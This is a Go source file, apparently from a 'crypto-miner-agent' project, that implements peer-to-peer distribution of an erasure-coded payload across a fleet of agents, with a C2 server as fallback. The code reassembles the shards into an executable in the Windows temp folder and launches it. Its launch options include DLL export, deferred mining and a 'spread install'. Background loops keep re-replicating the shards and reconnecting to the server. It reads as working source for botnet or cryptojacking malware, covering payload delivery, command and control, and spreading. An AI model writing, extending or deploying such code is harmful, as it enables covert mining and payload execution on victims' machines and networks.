894b7a50ae
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Content-addressed shard DHT on seeder agents with subnet_primary_seeder election, cross-subnet fleet_torrent_gossip, BGP swarm magnets, C2 torrent manifest, and k-of-n peer fetch with C2 fallback.
407 lines
11 KiB
Go
407 lines
11 KiB
Go
package deploy
|
|
|
|
import (
|
|
"crypto/sha256"
|
|
"encoding/hex"
|
|
"fmt"
|
|
"io"
|
|
"net/http"
|
|
"os"
|
|
"path/filepath"
|
|
"sort"
|
|
"strings"
|
|
"sync"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
const (
|
|
fleetTorrentMaxLANNeighbors = 3
|
|
fleetTorrentZeroServerRetry = 30 * time.Minute
|
|
)
|
|
|
|
// FleetGossipKind mirrors server atlas fleet gossip kinds.
|
|
const (
|
|
FleetGossipHaveShard = "have_shard"
|
|
FleetGossipHealthy = "healthy"
|
|
FleetGossipKnowNode = "know_node"
|
|
)
|
|
|
|
// FleetGossipRecord is one DHT advertisement from a fleet peer.
|
|
type FleetGossipRecord struct {
|
|
Kind string `json:"kind"`
|
|
AgentID string `json:"agent_id,omitempty"`
|
|
Subnet string `json:"subnet,omitempty"`
|
|
Token string `json:"token,omitempty"`
|
|
ShardIndex int `json:"shard_index,omitempty"`
|
|
ShardHash string `json:"shard_hash,omitempty"`
|
|
TargetAgentID string `json:"target_agent_id,omitempty"`
|
|
Healthy bool `json:"healthy,omitempty"`
|
|
FetchURL string `json:"fetch_url,omitempty"`
|
|
}
|
|
|
|
// ShardPeer is a known holder of one content-addressed shard.
|
|
type ShardPeer struct {
|
|
AgentID string
|
|
Subnet string
|
|
FetchURL string
|
|
Score int // higher = prefer LAN same-subnet
|
|
}
|
|
|
|
// FleetShardDHT tracks content-addressed shard availability across the fleet.
|
|
type FleetShardDHT struct {
|
|
mu sync.RWMutex
|
|
peers map[string]map[int][]ShardPeer // token -> index -> peers
|
|
healthy map[string]bool // agentID -> healthy
|
|
local map[string]map[int][]byte // token -> index -> shard bytes (primary seeder cache)
|
|
}
|
|
|
|
var globalFleetDHT = &FleetShardDHT{
|
|
peers: make(map[string]map[int][]ShardPeer),
|
|
healthy: make(map[string]bool),
|
|
local: make(map[string]map[int][]byte),
|
|
}
|
|
|
|
// FleetShardDHTSnapshot returns the process-wide shard DHT (tests may replace).
|
|
func FleetShardDHTSnapshot() *FleetShardDHT {
|
|
return globalFleetDHT
|
|
}
|
|
|
|
func SetFleetShardDHT(dht *FleetShardDHT) {
|
|
if dht != nil {
|
|
globalFleetDHT = dht
|
|
}
|
|
}
|
|
|
|
func shardContentHash(data []byte) string {
|
|
sum := sha256.Sum256(data)
|
|
return hex.EncodeToString(sum[:])
|
|
}
|
|
|
|
// MergeFleetGossipRecords ingests relayed fleet torrent gossip.
|
|
func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) {
|
|
if d == nil || len(records) == 0 {
|
|
return
|
|
}
|
|
d.mu.Lock()
|
|
defer d.mu.Unlock()
|
|
for _, r := range records {
|
|
switch strings.TrimSpace(strings.ToLower(r.Kind)) {
|
|
case FleetGossipHaveShard:
|
|
if r.Token == "" || r.AgentID == "" {
|
|
continue
|
|
}
|
|
if d.peers[r.Token] == nil {
|
|
d.peers[r.Token] = make(map[int][]ShardPeer)
|
|
}
|
|
peer := ShardPeer{AgentID: r.AgentID, Subnet: r.Subnet, FetchURL: r.FetchURL}
|
|
d.peers[r.Token][r.ShardIndex] = appendUniquePeer(d.peers[r.Token][r.ShardIndex], peer)
|
|
case FleetGossipHealthy:
|
|
if r.AgentID != "" {
|
|
d.healthy[r.AgentID] = r.Healthy
|
|
}
|
|
case FleetGossipKnowNode:
|
|
// know_node expands peer graph — treated as healthy signal for target
|
|
if r.TargetAgentID != "" {
|
|
d.healthy[r.TargetAgentID] = true
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
func appendUniquePeer(peers []ShardPeer, p ShardPeer) []ShardPeer {
|
|
for _, existing := range peers {
|
|
if existing.AgentID == p.AgentID && existing.FetchURL == p.FetchURL {
|
|
return peers
|
|
}
|
|
}
|
|
return append(peers, p)
|
|
}
|
|
|
|
// StoreLocalShard caches one shard for primary-seeder fan-out.
|
|
func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) {
|
|
if d == nil || token == "" || len(body) == 0 {
|
|
return
|
|
}
|
|
d.mu.Lock()
|
|
defer d.mu.Unlock()
|
|
if d.local[token] == nil {
|
|
d.local[token] = make(map[int][]byte)
|
|
}
|
|
d.local[token][index] = append([]byte(nil), body...)
|
|
}
|
|
|
|
// LocalShard returns a cached shard when this agent is primary seeder.
|
|
func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) {
|
|
if d == nil {
|
|
return nil, false
|
|
}
|
|
d.mu.RLock()
|
|
defer d.mu.RUnlock()
|
|
if d.local[token] == nil {
|
|
return nil, false
|
|
}
|
|
body, ok := d.local[token][index]
|
|
if !ok {
|
|
return nil, false
|
|
}
|
|
return append([]byte(nil), body...), true
|
|
}
|
|
|
|
// PeersForShard returns known peers holding one shard index.
|
|
func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet string) []ShardPeer {
|
|
if d == nil {
|
|
return nil
|
|
}
|
|
d.mu.RLock()
|
|
defer d.mu.RUnlock()
|
|
raw := d.peers[token][index]
|
|
if len(raw) == 0 {
|
|
return nil
|
|
}
|
|
out := make([]ShardPeer, len(raw))
|
|
copy(out, raw)
|
|
sort.Slice(out, func(i, j int) bool {
|
|
si := peerScore(out[i], localSubnet)
|
|
sj := peerScore(out[j], localSubnet)
|
|
if si != sj {
|
|
return si > sj
|
|
}
|
|
return out[i].AgentID < out[j].AgentID
|
|
})
|
|
return out
|
|
}
|
|
|
|
func peerScore(p ShardPeer, localSubnet string) int {
|
|
if localSubnet != "" && p.Subnet == localSubnet {
|
|
return 2
|
|
}
|
|
if p.Subnet != "" {
|
|
return 1
|
|
}
|
|
return 0
|
|
}
|
|
|
|
// PickLANNeighborPeers returns up to maxLAN peers on the same /24.
|
|
func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []ShardPeer {
|
|
if maxLAN <= 0 {
|
|
maxLAN = fleetTorrentMaxLANNeighbors
|
|
}
|
|
var out []ShardPeer
|
|
for _, p := range peers {
|
|
if localSubnet != "" && p.Subnet == localSubnet {
|
|
out = append(out, p)
|
|
if len(out) >= maxLAN {
|
|
break
|
|
}
|
|
}
|
|
}
|
|
return out
|
|
}
|
|
|
|
// FetchErasureShardFleet tries LAN neighbors, cross-subnet peers, then C2 URL.
|
|
func FetchErasureShardFleet(token string, index int, c2URL, localSubnet string, dht *FleetShardDHT) ([]byte, error) {
|
|
if dht == nil {
|
|
dht = globalFleetDHT
|
|
}
|
|
if body, ok := dht.LocalShard(token, index); ok {
|
|
return body, nil
|
|
}
|
|
peers := dht.PeersForShard(token, index, localSubnet)
|
|
try := func(url string) ([]byte, error) {
|
|
if url == "" {
|
|
return nil, fmt.Errorf("empty url")
|
|
}
|
|
if erasureFetchFn != nil {
|
|
return erasureFetchFn(url)
|
|
}
|
|
return fetchErasureShardHTTP(url)
|
|
}
|
|
for _, p := range PickLANNeighborPeers(peers, localSubnet, fleetTorrentMaxLANNeighbors) {
|
|
if body, err := try(p.FetchURL); err == nil {
|
|
return body, nil
|
|
}
|
|
}
|
|
for _, p := range peers {
|
|
if localSubnet != "" && p.Subnet == localSubnet {
|
|
continue
|
|
}
|
|
if body, err := try(p.FetchURL); err == nil {
|
|
return body, nil
|
|
}
|
|
}
|
|
if c2URL != "" {
|
|
return try(c2URL)
|
|
}
|
|
return nil, fmt.Errorf("fleet torrent: no shard source for %s/%d", token, index)
|
|
}
|
|
|
|
// RunFleetTorrentStaging reassembles via fleet DHT peers with C2 super-seeder fallback.
|
|
func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2BaseURL, localSubnet string) (string, error) {
|
|
if !plan.Enabled || len(plan.Shards) == 0 {
|
|
return "", fmt.Errorf("erasure plan disabled or empty")
|
|
}
|
|
p := erasureParams{DataShards: plan.DataShards, ParityShards: plan.ParityShards}
|
|
p, err := p.normalize()
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
dest, err := ResolveStagingPath(firstNonEmptyStr(plan.Dest, `%TEMP%\AetherForge\erasure-worker.exe`))
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
workDir := erasureWorkDir(cfg, plan.ShardToken)
|
|
if err := os.MkdirAll(workDir, 0o700); err != nil {
|
|
return "", err
|
|
}
|
|
cleanup := func() { _ = os.RemoveAll(workDir) }
|
|
|
|
dht := FleetShardDHTSnapshot()
|
|
shards := make([][]byte, p.totalShards())
|
|
c2 := strings.TrimRight(strings.TrimSpace(c2BaseURL), "/")
|
|
for _, ref := range plan.Shards {
|
|
if ref.Index < 0 || ref.Index >= len(shards) {
|
|
continue
|
|
}
|
|
if len(shards[ref.Index]) > 0 {
|
|
continue
|
|
}
|
|
c2URL := strings.TrimSpace(ref.URL)
|
|
if c2 == "" && c2URL == "" {
|
|
continue
|
|
}
|
|
if c2 != "" && !strings.HasPrefix(c2URL, "http") {
|
|
c2URL = fmt.Sprintf("%s/api/v1/public/erasure-shard/%s/%d", c2, plan.ShardToken, ref.Index)
|
|
}
|
|
body, err := FetchErasureShardFleet(plan.ShardToken, ref.Index, c2URL, localSubnet, dht)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
shards[ref.Index] = body
|
|
}
|
|
payload, err := decodeErasureShards(shards, plan.PayloadSize, p)
|
|
if err != nil {
|
|
cleanup()
|
|
return "", err
|
|
}
|
|
if err := verifyBytesSHA256(payload, plan.PayloadSHA256); err != nil {
|
|
cleanup()
|
|
return "", err
|
|
}
|
|
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
|
|
cleanup()
|
|
return "", err
|
|
}
|
|
if err := os.WriteFile(dest, payload, 0o755); err != nil {
|
|
cleanup()
|
|
return "", err
|
|
}
|
|
launch := strings.TrimSpace(plan.Launch)
|
|
if launch == "" {
|
|
launch = "exe"
|
|
}
|
|
launchFn := erasureLaunchFn
|
|
if launchFn == nil {
|
|
launchFn = launchErasureStagedBinary
|
|
}
|
|
msg, err := launchFn(dest, launch, plan.DLLExport, plan.DeferMining, plan.SpreadInstall)
|
|
cleanup()
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
return "fleet_torrent: " + msg, nil
|
|
}
|
|
|
|
// IngestErasureShardsForSeeder stores shards and prepares gossip advertisements for primary seeders.
|
|
func IngestErasureShardsForSeeder(plan ErasurePlanBody, fetchFn func(url string) ([]byte, error)) []FleetGossipRecord {
|
|
if fetchFn == nil {
|
|
fetchFn = fetchErasureShardHTTP
|
|
}
|
|
dht := FleetShardDHTSnapshot()
|
|
var records []FleetGossipRecord
|
|
for _, ref := range plan.Shards {
|
|
body, err := fetchFn(strings.TrimSpace(ref.URL))
|
|
if err != nil || len(body) == 0 {
|
|
continue
|
|
}
|
|
dht.StoreLocalShard(plan.ShardToken, ref.Index, body)
|
|
records = append(records, FleetGossipRecord{
|
|
Kind: FleetGossipHaveShard,
|
|
Token: plan.ShardToken,
|
|
ShardIndex: ref.Index,
|
|
ShardHash: shardContentHash(body),
|
|
FetchURL: ref.URL,
|
|
Healthy: true,
|
|
})
|
|
}
|
|
return records
|
|
}
|
|
|
|
// StartFleetTorrentReplication runs background shard re-replication for primary seeders.
|
|
func StartFleetTorrentReplication(cfg config.RuntimeConfig, plan ErasurePlanBody, gossipFn func([]FleetGossipRecord)) {
|
|
if !config.FleetTorrentEnabled(cfg) || !cfg.SubnetPrimarySeeder {
|
|
return
|
|
}
|
|
if gossipFn == nil {
|
|
return
|
|
}
|
|
go func() {
|
|
ticker := time.NewTicker(5 * time.Minute)
|
|
defer ticker.Stop()
|
|
for range ticker.C {
|
|
recs := IngestErasureShardsForSeeder(plan, fetchErasureShardHTTP)
|
|
if len(recs) > 0 {
|
|
gossipFn(recs)
|
|
}
|
|
}
|
|
}()
|
|
}
|
|
|
|
// StartZeroServerReconnect attempts HTTPS dashboard reconnect every 30 minutes.
|
|
func StartZeroServerReconnect(reconnectFn func() error) {
|
|
if reconnectFn == nil {
|
|
return
|
|
}
|
|
go func() {
|
|
ticker := time.NewTicker(fleetTorrentZeroServerRetry)
|
|
defer ticker.Stop()
|
|
for range ticker.C {
|
|
_ = reconnectFn()
|
|
}
|
|
}()
|
|
}
|
|
|
|
// ParseSwarmMagnetToken extracts the erasure token from a swarm magnet tr= parameter.
|
|
func ParseSwarmMagnetToken(magnet string) string {
|
|
magnet = strings.TrimSpace(magnet)
|
|
if magnet == "" {
|
|
return ""
|
|
}
|
|
if idx := strings.Index(magnet, "tr=urn:aetherforge:erasure:"); idx >= 0 {
|
|
rest := magnet[idx+len("tr=urn:aetherforge:erasure:"):]
|
|
if amp := strings.Index(rest, "&"); amp >= 0 {
|
|
rest = rest[:amp]
|
|
}
|
|
return strings.TrimSpace(rest)
|
|
}
|
|
return ""
|
|
}
|
|
|
|
// FetchShardManifestHTTP loads shard bytes from a manifest URL entry.
|
|
func FetchShardManifestHTTP(manifestURL string) ([]byte, error) {
|
|
if manifestURL == "" {
|
|
return nil, fmt.Errorf("empty manifest url")
|
|
}
|
|
client := &http.Client{Timeout: 30 * time.Second}
|
|
resp, err := client.Get(manifestURL)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
defer resp.Body.Close()
|
|
if resp.StatusCode != http.StatusOK {
|
|
return nil, fmt.Errorf("manifest HTTP %d", resp.StatusCode)
|
|
}
|
|
return io.ReadAll(io.LimitReader(resp.Body, 8<<20))
|
|
}
|